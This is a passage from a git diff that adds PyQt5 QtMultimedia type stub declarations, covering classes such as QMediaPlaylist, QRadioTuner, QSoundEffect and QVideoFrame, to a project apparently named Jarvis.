typing.Optional[QtCore.QObject] = ...) -> None: ... + + def setMediaObject(self, object: QMediaObject) -> bool: ... + def loadFailed(self) -> None: ... + def loaded(self) -> None: ... + def mediaChanged(self, start: int, end: int) -> None: ... + def mediaRemoved(self, start: int, end: int) -> None: ... + def mediaAboutToBeRemoved(self, start: int, end: int) -> None: ... + def mediaInserted(self, start: int, end: int) -> None: ... + def mediaAboutToBeInserted(self, start: int, end: int) -> None: ... + def currentMediaChanged(self, a0: QMediaContent) -> None: ... + def playbackModeChanged(self, mode: 'QMediaPlaylist.PlaybackMode') -> None: ... + def currentIndexChanged(self, index: int) -> None: ... + def setCurrentIndex(self, index: int) -> None: ... + def previous(self) -> None: ... + def next(self) -> None: ... + def shuffle(self) -> None: ... + def moveMedia(self, from_: int, to: int) -> bool: ... + def errorString(self) -> str: ... + def error(self) -> 'QMediaPlaylist.Error': ... + @typing.overload + def save(self, location: QtCore.QUrl, format: typing.Optional[str] = ...) -> bool: ... + @typing.overload + def save(self, device: QtCore.QIODevice, format: str) -> bool: ... + @typing.overload + def load(self, request: QtNetwork.QNetworkRequest, format: typing.Optional[str] = ...) -> None: ... + @typing.overload + def load(self, location: QtCore.QUrl, format: typing.Optional[str] = ...) -> None: ... + @typing.overload + def load(self, device: QtCore.QIODevice, format: typing.Optional[str] = ...) -> None: ... + def clear(self) -> bool: ... + @typing.overload + def removeMedia(self, pos: int) -> bool: ... + @typing.overload + def removeMedia(self, start: int, end: int) -> bool: ... + @typing.overload + def insertMedia(self, index: int, content: QMediaContent) -> bool: ... + @typing.overload + def insertMedia(self, index: int, items: typing.Iterable[QMediaContent]) -> bool: ... + @typing.overload + def addMedia(self, content: QMediaContent) -> bool: ... + @typing.overload + def addMedia(self, items: typing.Iterable[QMediaContent]) -> bool: ... + def isReadOnly(self) -> bool: ... + def isEmpty(self) -> bool: ... + def mediaCount(self) -> int: ... + def media(self, index: int) -> QMediaContent: ... + def previousIndex(self, steps: int = ...) -> int: ... + def nextIndex(self, steps: int = ...) -> int: ... + def currentMedia(self) -> QMediaContent: ... + def currentIndex(self) -> int: ... + def setPlaybackMode(self, mode: 'QMediaPlaylist.PlaybackMode') -> None: ... + def playbackMode(self) -> 'QMediaPlaylist.PlaybackMode': ... + def mediaObject(self) -> QMediaObject: ... + + +class QMediaRecorderControl(QMediaControl): + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def setVolume(self, volume: float) -> None: ... + def setMuted(self, muted: bool) -> None: ... + def setState(self, state: QMediaRecorder.State) -> None: ... + def error(self, error: int, errorString: str) -> None: ... + def actualLocationChanged(self, location: QtCore.QUrl) -> None: ... + def volumeChanged(self, volume: float) -> None: ... + def mutedChanged(self, muted: bool) -> None: ... + def durationChanged(self, position: int) -> None: ... + def statusChanged(self, status: QMediaRecorder.Status) -> None: ... + def stateChanged(self, state: QMediaRecorder.State) -> None: ... + def applySettings(self) -> None: ... + def volume(self) -> float: ... + def isMuted(self) -> bool: ... + def duration(self) -> int: ... + def status(self) -> QMediaRecorder.Status: ... + def state(self) -> QMediaRecorder.State: ... + def setOutputLocation(self, location: QtCore.QUrl) -> bool: ... + def outputLocation(self) -> QtCore.QUrl: ... + + +class QMediaResource(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, url: QtCore.QUrl, mimeType: str = ...) -> None: ... + @typing.overload + def __init__(self, request: QtNetwork.QNetworkRequest, mimeType: str = ...) -> None: ... + @typing.overload + def __init__(self, other: 'QMediaResource') -> None: ... + + @typing.overload + def setResolution(self, resolution: QtCore.QSize) -> None: ... + @typing.overload + def setResolution(self, width: int, height: int) -> None: ... + def resolution(self) -> QtCore.QSize: ... + def setVideoBitRate(self, rate: int) -> None: ... + def videoBitRate(self) -> int: ... + def setChannelCount(self, channels: int) -> None: ... + def channelCount(self) -> int: ... + def setSampleRate(self, frequency: int) -> None: ... + def sampleRate(self) -> int: ... + def setAudioBitRate(self, rate: int) -> None: ... + def audioBitRate(self) -> int: ... + def setDataSize(self, size: int) -> None: ... + def dataSize(self) -> int: ... + def setVideoCodec(self, codec: str) -> None: ... + def videoCodec(self) -> str: ... + def setAudioCodec(self, codec: str) -> None: ... + def audioCodec(self) -> str: ... + def setLanguage(self, language: str) -> None: ... + def language(self) -> str: ... + def mimeType(self) -> str: ... + def request(self) -> QtNetwork.QNetworkRequest: ... + def url(self) -> QtCore.QUrl: ... + def isNull(self) -> bool: ... + + +class QMediaService(QtCore.QObject): + + def __init__(self, parent: QtCore.QObject) -> None: ... + + def releaseControl(self, control: QMediaControl) -> None: ... + def requestControl(self, name: str) -> QMediaControl: ... + + +class QMediaStreamsControl(QMediaControl): + + class StreamType(int): + UnknownStream = ... # type: QMediaStreamsControl.StreamType + VideoStream = ... # type: QMediaStreamsControl.StreamType + AudioStream = ... # type: QMediaStreamsControl.StreamType + SubPictureStream = ... # type: QMediaStreamsControl.StreamType + DataStream = ... # type: QMediaStreamsControl.StreamType + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def activeStreamsChanged(self) -> None: ... + def streamsChanged(self) -> None: ... + def setActive(self, streamNumber: int, state: bool) -> None: ... + def isActive(self, streamNumber: int) -> bool: ... + def metaData(self, streamNumber: int, key: str) -> typing.Any: ... + def streamType(self, streamNumber: int) -> 'QMediaStreamsControl.StreamType': ... + def streamCount(self) -> int: ... + + +class QMediaTimeInterval(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, start: int, end: int) -> None: ... + @typing.overload + def __init__(self, a0: 'QMediaTimeInterval') -> None: ... + + def translated(self, offset: int) -> 'QMediaTimeInterval': ... + def normalized(self) -> 'QMediaTimeInterval': ... + def isNormal(self) -> bool: ... + def contains(self, time: int) -> bool: ... + def end(self) -> int: ... + def start(self) -> int: ... + + +class QMediaTimeRange(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, start: int, end: int) -> None: ... + @typing.overload + def __init__(self, a0: QMediaTimeInterval) -> None: ... + @typing.overload + def __init__(self, range: 'QMediaTimeRange') -> None: ... + + def clear(self) -> None: ... + def removeTimeRange(self, a0: 'QMediaTimeRange') -> None: ... + @typing.overload + def removeInterval(self, start: int, end: int) -> None: ... + @typing.overload + def removeInterval(self, interval: QMediaTimeInterval) -> None: ... + def addTimeRange(self, a0: 'QMediaTimeRange') -> None: ... + @typing.overload + def addInterval(self, start: int, end: int) -> None: ... + @typing.overload + def addInterval(self, interval: QMediaTimeInterval) -> None: ... + def contains(self, time: int) -> bool: ... + def isContinuous(self) -> bool: ... + def isEmpty(self) -> bool: ... + def intervals(self) -> typing.List[QMediaTimeInterval]: ... + def latestTime(self) -> int: ... + def earliestTime(self) -> int: ... + + +class QMediaVideoProbeControl(QMediaControl): + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def flush(self) -> None: ... + def videoFrameProbed(self, frame: 'QVideoFrame') -> None: ... + + +class QMetaDataReaderControl(QMediaControl): + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def metaDataAvailableChanged(self, available: bool) -> None: ... + @typing.overload + def metaDataChanged(self) -> None: ... + @typing.overload + def metaDataChanged(self, key: str, value: typing.Any) -> None: ... + def availableMetaData(self) -> typing.List[str]: ... + def metaData(self, key: str) -> typing.Any: ... + def isMetaDataAvailable(self) -> bool: ... + + +class QMetaDataWriterControl(QMediaControl): + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def metaDataAvailableChanged(self, available: bool) -> None: ... + def writableChanged(self, writable: bool) -> None: ... + @typing.overload + def metaDataChanged(self) -> None: ... + @typing.overload + def metaDataChanged(self, key: str, value: typing.Any) -> None: ... + def availableMetaData(self) -> typing.List[str]: ... + def setMetaData(self, key: str, value: typing.Any) -> None: ... + def metaData(self, key: str) -> typing.Any: ... + def isMetaDataAvailable(self) -> bool: ... + def isWritable(self) -> bool: ... + + +class QMultimedia(PyQt5.sip.simplewrapper): + + class AvailabilityStatus(int): + Available = ... # type: QMultimedia.AvailabilityStatus + ServiceMissing = ... # type: QMultimedia.AvailabilityStatus + Busy = ... # type: QMultimedia.AvailabilityStatus + ResourceError = ... # type: QMultimedia.AvailabilityStatus + + class EncodingMode(int): + ConstantQualityEncoding = ... # type: QMultimedia.EncodingMode + ConstantBitRateEncoding = ... # type: QMultimedia.EncodingMode + AverageBitRateEncoding = ... # type: QMultimedia.EncodingMode + TwoPassEncoding = ... # type: QMultimedia.EncodingMode + + class EncodingQuality(int): + VeryLowQuality = ... # type: QMultimedia.EncodingQuality + LowQuality = ... # type: QMultimedia.EncodingQuality + NormalQuality = ... # type: QMultimedia.EncodingQuality + HighQuality = ... # type: QMultimedia.EncodingQuality + VeryHighQuality = ... # type: QMultimedia.EncodingQuality + + class SupportEstimate(int): + NotSupported = ... # type: QMultimedia.SupportEstimate + MaybeSupported = ... # type: QMultimedia.SupportEstimate + ProbablySupported = ... # type: QMultimedia.SupportEstimate + PreferredService = ... # type: QMultimedia.SupportEstimate + + +class QRadioData(QtCore.QObject, QMediaBindableInterface): + + class ProgramType(int): + Undefined = ... # type: QRadioData.ProgramType + News = ... # type: QRadioData.ProgramType + CurrentAffairs = ... # type: QRadioData.ProgramType + Information = ... # type: QRadioData.ProgramType + Sport = ... # type: QRadioData.ProgramType + Education = ... # type: QRadioData.ProgramType + Drama = ... # type: QRadioData.ProgramType + Culture = ... # type: QRadioData.ProgramType + Science = ... # type: QRadioData.ProgramType + Varied = ... # type: QRadioData.ProgramType + PopMusic = ... # type: QRadioData.ProgramType + RockMusic = ... # type: QRadioData.ProgramType + EasyListening = ... # type: QRadioData.ProgramType + LightClassical = ... # type: QRadioData.ProgramType + SeriousClassical = ... # type: QRadioData.ProgramType + OtherMusic = ... # type: QRadioData.ProgramType + Weather = ... # type: QRadioData.ProgramType + Finance = ... # type: QRadioData.ProgramType + ChildrensProgrammes = ... # type: QRadioData.ProgramType + SocialAffairs = ... # type: QRadioData.ProgramType + Religion = ... # type: QRadioData.ProgramType + PhoneIn = ... # type: QRadioData.ProgramType + Travel = ... # type: QRadioData.ProgramType + Leisure = ... # type: QRadioData.ProgramType + JazzMusic = ... # type: QRadioData.ProgramType + CountryMusic = ... # type: QRadioData.ProgramType + NationalMusic = ... # type: QRadioData.ProgramType + OldiesMusic = ... # type: QRadioData.ProgramType + FolkMusic = ... # type: QRadioData.ProgramType + Documentary = ... # type: QRadioData.ProgramType + AlarmTest = ... # type: QRadioData.ProgramType + Alarm = ... # type: QRadioData.ProgramType + Talk = ... # type: QRadioData.ProgramType + ClassicRock = ... # type: QRadioData.ProgramType + AdultHits = ... # type: QRadioData.ProgramType + SoftRock = ... # type: QRadioData.ProgramType + Top40 = ... # type: QRadioData.ProgramType + Soft = ... # type: QRadioData.ProgramType + Nostalgia = ... # type: QRadioData.ProgramType + Classical = ... # type: QRadioData.ProgramType + RhythmAndBlues = ... # type: QRadioData.ProgramType + SoftRhythmAndBlues = ... # type: QRadioData.ProgramType + Language = ... # type: QRadioData.ProgramType + ReligiousMusic = ... # type: QRadioData.ProgramType + ReligiousTalk = ... # type: QRadioData.ProgramType + Personality = ... # type: QRadioData.ProgramType + Public = ... # type: QRadioData.ProgramType + College = ... # type: QRadioData.ProgramType + + class Error(int): + NoError = ... # type: QRadioData.Error + ResourceError = ... # type: QRadioData.Error + OpenError = ... # type: QRadioData.Error + OutOfRangeError = ... # type: QRadioData.Error + + def __init__(self, mediaObject: QMediaObject, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def setMediaObject(self, a0: QMediaObject) -> bool: ... + def alternativeFrequenciesEnabledChanged(self, enabled: bool) -> None: ... + def radioTextChanged(self, radioText: str) -> None: ... + def stationNameChanged(self, stationName: str) -> None: ... + def programTypeNameChanged(self, programTypeName: str) -> None: ... + def programTypeChanged(self, programType: 'QRadioData.ProgramType') -> None: ... + def stationIdChanged(self, stationId: str) -> None: ... + def setAlternativeFrequenciesEnabled(self, enabled: bool) -> None: ... + def errorString(self) -> str: ... + @typing.overload + def error(self) -> 'QRadioData.Error': ... + @typing.overload + def error(self, error: 'QRadioData.Error') -> None: ... + def isAlternativeFrequenciesEnabled(self) -> bool: ... + def radioText(self) -> str: ... + def stationName(self) -> str: ... + def programTypeName(self) -> str: ... + def programType(self) -> 'QRadioData.ProgramType': ... + def stationId(self) -> str: ... + def availability(self) -> QMultimedia.AvailabilityStatus: ... + def mediaObject(self) -> QMediaObject: ... + + +class QRadioDataControl(QMediaControl): + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def alternativeFrequenciesEnabledChanged(self, enabled: bool) -> None: ... + def radioTextChanged(self, radioText: str) -> None: ... + def stationNameChanged(self, stationName: str) -> None: ... + def programTypeNameChanged(self, programTypeName: str) -> None: ... + def programTypeChanged(self, programType: QRadioData.ProgramType) -> None: ... + def stationIdChanged(self, stationId: str) -> None: ... + def errorString(self) -> str: ... + @typing.overload + def error(self) -> QRadioData.Error: ... + @typing.overload + def error(self, err: QRadioData.Error) -> None: ... + def isAlternativeFrequenciesEnabled(self) -> bool: ... + def setAlternativeFrequenciesEnabled(self, enabled: bool) -> None: ... + def radioText(self) -> str: ... + def stationName(self) -> str: ... + def programTypeName(self) -> str: ... + def programType(self) -> QRadioData.ProgramType: ... + def stationId(self) -> str: ... + + +class QRadioTuner(QMediaObject): + + class SearchMode(int): + SearchFast = ... # type: QRadioTuner.SearchMode + SearchGetStationId = ... # type: QRadioTuner.SearchMode + + class StereoMode(int): + ForceStereo = ... # type: QRadioTuner.StereoMode + ForceMono = ... # type: QRadioTuner.StereoMode + Auto = ... # type: QRadioTuner.StereoMode + + class Error(int): + NoError = ... # type: QRadioTuner.Error + ResourceError = ... # type: QRadioTuner.Error + OpenError = ... # type: QRadioTuner.Error + OutOfRangeError = ... # type: QRadioTuner.Error + + class Band(int): + AM = ... # type: QRadioTuner.Band + FM = ... # type: QRadioTuner.Band + SW = ... # type: QRadioTuner.Band + LW = ... # type: QRadioTuner.Band + FM2 = ... # type: QRadioTuner.Band + + class State(int): + ActiveState = ... # type: QRadioTuner.State + StoppedState = ... # type: QRadioTuner.State + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def antennaConnectedChanged(self, connectionStatus: bool) -> None: ... + def stationFound(self, frequency: int, stationId: str) -> None: ... + def mutedChanged(self, muted: bool) -> None: ... + def volumeChanged(self, volume: int) -> None: ... + def signalStrengthChanged(self, signalStrength: int) -> None: ... + def searchingChanged(self, searching: bool) -> None: ... + def stereoStatusChanged(self, stereo: bool) -> None: ... + def frequencyChanged(self, frequency: int) -> None: ... + def bandChanged(self, band: 'QRadioTuner.Band') -> None: ... + def stateChanged(self, state: 'QRadioTuner.State') -> None: ... + def stop(self) -> None: ... + def start(self) -> None: ... + def setMuted(self, muted: bool) -> None: ... + def setVolume(self, volume: int) -> None: ... + def setFrequency(self, frequency: int) -> None: ... + def setBand(self, band: 'QRadioTuner.Band') -> None: ... + def cancelSearch(self) -> None: ... + def searchAllStations(self, searchMode: 'QRadioTuner.SearchMode' = ...) -> None: ... + def searchBackward(self) -> None: ... + def searchForward(self) -> None: ... + def radioData(self) -> QRadioData: ... + def errorString(self) -> str: ... + @typing.overload + def error(self) -> 'QRadioTuner.Error': ... + @typing.overload + def error(self, error: 'QRadioTuner.Error') -> None: ... + def isAntennaConnected(self) -> bool: ... + def isSearching(self) -> bool: ... + def isMuted(self) -> bool: ... + def volume(self) -> int: ... + def signalStrength(self) -> int: ... + def stereoMode(self) -> 'QRadioTuner.StereoMode': ... + def setStereoMode(self, mode: 'QRadioTuner.StereoMode') -> None: ... + def isStereo(self) -> bool: ... + def frequencyRange(self, band: 'QRadioTuner.Band') -> typing.Tuple[int, int]: ... + def frequencyStep(self, band: 'QRadioTuner.Band') -> int: ... + def frequency(self) -> int: ... + def isBandSupported(self, b: 'QRadioTuner.Band') -> bool: ... + def band(self) -> 'QRadioTuner.Band': ... + def state(self) -> 'QRadioTuner.State': ... + def availability(self) -> QMultimedia.AvailabilityStatus: ... + + +class QRadioTunerControl(QMediaControl): + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def antennaConnectedChanged(self, connectionStatus: bool) -> None: ... + def stationFound(self, frequency: int, stationId: str) -> None: ... + def mutedChanged(self, muted: bool) -> None: ... + def volumeChanged(self, volume: int) -> None: ... + def signalStrengthChanged(self, signalStrength: int) -> None: ... + def searchingChanged(self, searching: bool) -> None: ... + def stereoStatusChanged(self, stereo: bool) -> None: ... + def frequencyChanged(self, frequency: int) -> None: ... + def bandChanged(self, band: QRadioTuner.Band) -> None: ... + def stateChanged(self, state: QRadioTuner.State) -> None: ... + def errorString(self) -> str: ... + @typing.overload + def error(self) -> QRadioTuner.Error: ... + @typing.overload + def error(self, err: QRadioTuner.Error) -> None: ... + def stop(self) -> None: ... + def start(self) -> None: ... + def cancelSearch(self) -> None: ... + def searchAllStations(self, searchMode: QRadioTuner.SearchMode = ...) -> None: ... + def searchBackward(self) -> None: ... + def searchForward(self) -> None: ... + def isAntennaConnected(self) -> bool: ... + def isSearching(self) -> bool: ... + def setMuted(self, muted: bool) -> None: ... + def isMuted(self) -> bool: ... + def setVolume(self, volume: int) -> None: ... + def volume(self) -> int: ... + def signalStrength(self) -> int: ... + def setStereoMode(self, mode: QRadioTuner.StereoMode) -> None: ... + def stereoMode(self) -> QRadioTuner.StereoMode: ... + def isStereo(self) -> bool: ... + def setFrequency(self, frequency: int) -> None: ... + def frequencyRange(self, b: QRadioTuner.Band) -> typing.Tuple[int, int]: ... + def frequencyStep(self, b: QRadioTuner.Band) -> int: ... + def frequency(self) -> int: ... + def isBandSupported(self, b: QRadioTuner.Band) -> bool: ... + def setBand(self, b: QRadioTuner.Band) -> None: ... + def band(self) -> QRadioTuner.Band: ... + def state(self) -> QRadioTuner.State: ... + + +class QSound(QtCore.QObject): + + class Loop(int): + Infinite = ... # type: QSound.Loop + + def __init__(self, filename: str, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def stop(self) -> None: ... + def isFinished(self) -> bool: ... + def fileName(self) -> str: ... + def setLoops(self, a0: int) -> None: ... + def loopsRemaining(self) -> int: ... + def loops(self) -> int: ... + @typing.overload + @staticmethod + def play(filename: str) -> None: ... + @typing.overload + def play(self) -> None: ... + + +class QSoundEffect(QtCore.QObject): + + class Status(int): + Null = ... # type: QSoundEffect.Status + Loading = ... # type: QSoundEffect.Status + Ready = ... # type: QSoundEffect.Status + Error = ... # type: QSoundEffect.Status + + class Loop(int): + Infinite = ... # type: QSoundEffect.Loop + + @typing.overload + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + @typing.overload + def __init__(self, audioDevice: QAudioDeviceInfo, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def stop(self) -> None: ... + def play(self) -> None: ... + def categoryChanged(self) -> None: ... + def statusChanged(self) -> None: ... + def playingChanged(self) -> None: ... + def loadedChanged(self) -> None: ... + def mutedChanged(self) -> None: ... + def volumeChanged(self) -> None: ... + def loopsRemainingChanged(self) -> None: ... + def loopCountChanged(self) -> None: ... + def sourceChanged(self) -> None: ... + def setCategory(self, category: str) -> None: ... + def category(self) -> str: ... + def status(self) -> 'QSoundEffect.Status': ... + def isPlaying(self) -> bool: ... + def isLoaded(self) -> bool: ... + def setMuted(self, muted: bool) -> None: ... + def isMuted(self) -> bool: ... + def setVolume(self, volume: float) -> None: ... + def volume(self) -> float: ... + def setLoopCount(self, loopCount: int) -> None: ... + def loopsRemaining(self) -> int: ... + def loopCount(self) -> int: ... + def setSource(self, url: QtCore.QUrl) -> None: ... + def source(self) -> QtCore.QUrl: ... + @staticmethod + def supportedMimeTypes() -> typing.List[str]: ... + + +class QVideoDeviceSelectorControl(QMediaControl): + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def devicesChanged(self) -> None: ... + @typing.overload + def selectedDeviceChanged(self, index: int) -> None: ... + @typing.overload + def selectedDeviceChanged(self, name: str) -> None: ... + def setSelectedDevice(self, index: int) -> None: ... + def selectedDevice(self) -> int: ... + def defaultDevice(self) -> int: ... + def deviceDescription(self, index: int) -> str: ... + def deviceName(self, index: int) -> str: ... + def deviceCount(self) -> int: ... + + +class QVideoEncoderSettingsControl(QMediaControl): + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def setVideoSettings(self, settings: QVideoEncoderSettings) -> None: ... + def videoSettings(self) -> QVideoEncoderSettings: ... + def videoCodecDescription(self, codec: str) -> str: ... + def supportedVideoCodecs(self) -> typing.List[str]: ... + def supportedFrameRates(self, settings: QVideoEncoderSettings) -> typing.Tuple[typing.List[float], bool]: ... + def supportedResolutions(self, settings: QVideoEncoderSettings) -> typing.Tuple[typing.List[QtCore.QSize], bool]: ... + + +class QVideoFrame(sip.simplewrapper): + + class PixelFormat(int): + Format_Invalid = ... # type: QVideoFrame.PixelFormat + Format_ARGB32 = ... # type: QVideoFrame.PixelFormat + Format_ARGB32_Premultiplied = ... # type: QVideoFrame.PixelFormat + Format_RGB32 = ... # type: QVideoFrame.PixelFormat + Format_RGB24 = ... # type: QVideoFrame.PixelFormat + Format_RGB565 = ... # type: QVideoFrame.PixelFormat + Format_RGB555 = ... # type: QVideoFrame.PixelFormat + Format_ARGB8565_Premultiplied = ... # type: QVideoFrame.PixelFormat + Format_BGRA32 = ... # type: QVideoFrame.PixelFormat + Format_BGRA32_Premultiplied = ... # type: QVideoFrame.PixelFormat + Format_BGR32 = ... # type: QVideoFrame.PixelFormat + Format_BGR24 = ... # type: QVideoFrame.PixelFormat + Format_BGR565 = ... # type: QVideoFrame.PixelFormat + Format_BGR555 = ... # type: QVideoFrame.PixelFormat + Format_BGRA5658_Premultiplied = ... # type: QVideoFrame.PixelFormat + Format_AYUV444 = ... # type: QVideoFrame.PixelFormat + Format_AYUV444_Premultiplied = ... # type: QVideoFrame.PixelFormat + Format_YUV444 = ... # type: QVideoFrame.PixelFormat + Format_YUV420P = ... # type: QVideoFrame.PixelFormat + Format_YV12 = ... # type: QVideoFrame.PixelFormat + Format_UYVY = ... # type: QVideoFrame.PixelFormat + Format_YUYV = ... # type: QVideoFrame.PixelFormat + Format_NV12 = ... # type: QVideoFrame.PixelFormat + Format_NV21 = ... # type: QVideoFrame.PixelFormat + Format_IMC1 = ... # type: QVideoFrame.PixelFormat + Format_IMC2 = ... # type: QVideoFrame.PixelFormat + Format_IMC3 = ... # type: QVideoFrame.PixelFormat + Format_IMC4 = ... # type: QVideoFrame.PixelFormat + Format_Y8 = ... # type: QVideoFrame.PixelFormat + Format_Y16 = ... # type: QVideoFrame.PixelFormat + Format_Jpeg = ... # type: QVideoFrame.PixelFormat + Format_CameraRaw = ... # type: QVideoFrame.PixelFormat + Format_AdobeDng = ... # type: QVideoFrame.PixelFormat + Format_ABGR32 = ... # type: QVideoFrame.PixelFormat + Format_YUV422P = ... # type: QVideoFrame.PixelFormat + Format_User = ... # type: QVideoFrame.PixelFormat + + class FieldType(int): + ProgressiveFrame = ... # type: QVideoFrame.FieldType + TopField = ... # type: QVideoFrame.FieldType + BottomField = ... # type: QVideoFrame.FieldType + InterlacedFrame = ... # type: QVideoFrame.FieldType + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, buffer: QAbstractVideoBuffer, size: QtCore.QSize, format: 'QVideoFrame.PixelFormat') -> None: ... + @typing.overload + def __init__(self, bytes: int, size: QtCore.QSize, bytesPerLine: int, format: 'QVideoFrame.PixelFormat') -> None: ... + @typing.overload + def __init__(self, image: QtGui.QImage) -> None: ... + @typing.overload + def __init__(self, other: 'QVideoFrame') -> None: ... + + def image(self) -> QtGui.QImage: ... + def buffer(self) -> QAbstractVideoBuffer: ... + def planeCount(self) -> int: ... + def setMetaData(self, key: str, value: typing.Any) -> None: ... + def metaData(self, key: str) -> typing.Any: ... + def availableMetaData(self) -> typing.Dict[str, typing.Any]: ... + @staticmethod + def imageFormatFromPixelFormat(format: 'QVideoFrame.PixelFormat') -> QtGui.QImage.Format: ... + @staticmethod + def pixelFormatFromImageFormat(format: QtGui.QImage.Format) -> 'QVideoFrame.PixelFormat': ... + def setEndTime(self, time: int) -> None: ... + def endTime(self) -> int: ... + def setStartTime(self, time: int) -> None: ... + def startTime(self) -> int: ... + def handle(self) -> typing.Any: ... + def mappedBytes(self) -> int: ... + @typing.overload + def bits(self) -> PyQt5.sip.voidptr: ... + @typing.overload + def bits(self, plane: int) -> PyQt5.sip.voidptr: ... + @typing.overload + def bytesPerLine(self) -> int: ... + @typing.overload + def bytesPerLine(self, plane: int) -> int: ... + def unmap(self) -> None: ... + def map(self, mode: QAbstractVideoBuffer.MapMode) -> bool: ... + def mapMode(self) -> QAbstractVideoBuffer.MapMode: ... + def isWritable(self) -> bool: ... + def isReadable(self) -> bool: ... + def isMapped(self) -> bool: ... + def setFieldType(self, a0: 'QVideoFrame.FieldType') -> None: ... + def fieldType(self) -> 'QVideoFrame.FieldType': ... + def height(self) -> int: ... + def width(self) -> int: ... + def size(self) -> QtCore.QSize: ... + def handleType(self) -> QAbstractVideoBuffer.HandleType: ... + def pixelFormat(self) -> 'QVideoFrame.PixelFormat': ... + def isValid(self) -> bool: ... + + +class QVideoProbe(QtCore.QObject): + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def flush(self) -> None: ... + def videoFrameProbed(self, videoFrame: QVideoFrame) -> None: ... + def isActive(self) -> bool: ... + @typing.overload + def setSource(self, source: QMediaObject) -> bool: ... + @typing.overload + def setSource(self, source: QMediaRecorder) -> bool: ... + + +class QVideoRendererControl(QMediaControl): + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def setSurface(self, surface: QAbstractVideoSurface) -> None: ... + def surface(self) -> QAbstractVideoSurface: ... + + +class QVideoSurfaceFormat(sip.simplewrapper): + + class YCbCrColorSpace(int): + YCbCr_Undefined = ... # type: QVideoSurfaceFormat.YCbCrColorSpace + YCbCr_BT601 = ... # type: QVideoSurfaceFormat.YCbCrColorSpace + YCbCr_BT709 = ... # type: QVideoSurfaceFormat.YCbCrColorSpace + YCbCr_xvYCC601 = ... # type: QVideoSurfaceFormat.YCbCrColorSpace + YCbCr_xvYCC709 = ... # type: QVideoSurfaceFormat.YCbCrColorSpace + YCbCr_JPEG = ... # type: QVideoSurfaceFormat.YCbCrColorSpace + + class Direction(int): + TopToBottom = ... # type: QVideoSurfaceFormat.Direction + BottomToTop = ... # type: QVideoSurfaceFormat.Direction + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, size: QtCore.QSize, format: QVideoFrame.PixelFormat, type: QAbstractVideoBuffer.HandleType = ...) -> None: ... + @typing.overload + def __init__(self, format: 'QVideoSurfaceFormat') -> None: ... + + def setMirrored(self, mirrored: bool) -> None: ... + def isMirrored(self) -> bool: ... + def setProperty(self, name: str, value: typing.Any) -> None: ... + def property(self, name: str) -> typing.Any: ... + def propertyNames(self) -> typing.List[QtCore.QByteArray]: ... + def sizeHint(self) -> QtCore.QSize: ... + def setYCbCrColorSpace(self, colorSpace: 'QVideoSurfaceFormat.YCbCrColorSpace') -> None: ... + def yCbCrColorSpace(self) -> 'QVideoSurfaceFormat.YCbCrColorSpace': ... + @typing.overload + def setPixelAspectRatio(self, ratio: QtCore.QSize) -> None: ... + @typing.overload + def setPixelAspectRatio(self, width: int, height: int) -> None: ... + def pixelAspectRatio(self) -> QtCore.QSize: ... + def setFrameRate(self, rate: float) -> None: ... + def frameRate(self) -> float: ... + def setScanLineDirection(self, direction: 'QVideoSurfaceFormat.Direction') -> None: ... + def scanLineDirection(self) -> 'QVideoSurfaceFormat.Direction': ... + def setViewport(self, viewport: QtCore.QRect) -> None: ... + def viewport(self) -> QtCore.QRect: ... + def frameHeight(self) -> int: ... + def frameWidth(self) -> int: ... + @typing.overload + def setFrameSize(self, size: QtCore.QSize) -> None: ... + @typing.overload + def setFrameSize(self, width: int, height: int) -> None: ... + def frameSize(self) -> QtCore.QSize: ... + def handleType(self) -> QAbstractVideoBuffer.HandleType: ... + def pixelFormat(self) -> QVideoFrame.PixelFormat: ... + def isValid(self) -> bool: ... + + +class QVideoWindowControl(QMediaControl): + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def nativeSizeChanged(self) -> None: ... + def saturationChanged(self, saturation: int) -> None: ... + def hueChanged(self, hue: int) -> None: ... + def contrastChanged(self, contrast: int) -> None: ... + def brightnessChanged(self, brightness: int) -> None: ... + def fullScreenChanged(self, fullScreen: bool) -> None: ... + def setSaturation(self, saturation: int) -> None: ... + def saturation(self) -> int: ... + def setHue(self, hue: int) -> None: ... + def hue(self) -> int: ... + def setContrast(self, contrast: int) -> None: ... + def contrast(self) -> int: ... + def setBrightness(self, brightness: int) -> None: ... + def brightness(self) -> int: ... + def setAspectRatioMode(self, mode: QtCore.Qt.AspectRatioMode) -> None: ... + def aspectRatioMode(self) -> QtCore.Qt.AspectRatioMode: ... + def nativeSize(self) -> QtCore.QSize: ... + def repaint(self) -> None: ... + def setFullScreen(self, fullScreen: bool) -> None: ... + def isFullScreen(self) -> bool: ... + def setDisplayRect(self, rect: QtCore.QRect) -> None: ... + def displayRect(self) -> QtCore.QRect: ... + def setWinId(self, id: PyQt5.sip.voidptr) -> None: ... + def winId(self) -> PyQt5.sip.voidptr: ... diff --git a/OTHERS/Jarvis/ools/PyQt5/QtMultimediaWidgets.pyi b/OTHERS/Jarvis/ools/PyQt5/QtMultimediaWidgets.pyi new file mode 100644 index 00000000..7f9fe266 --- /dev/null +++ 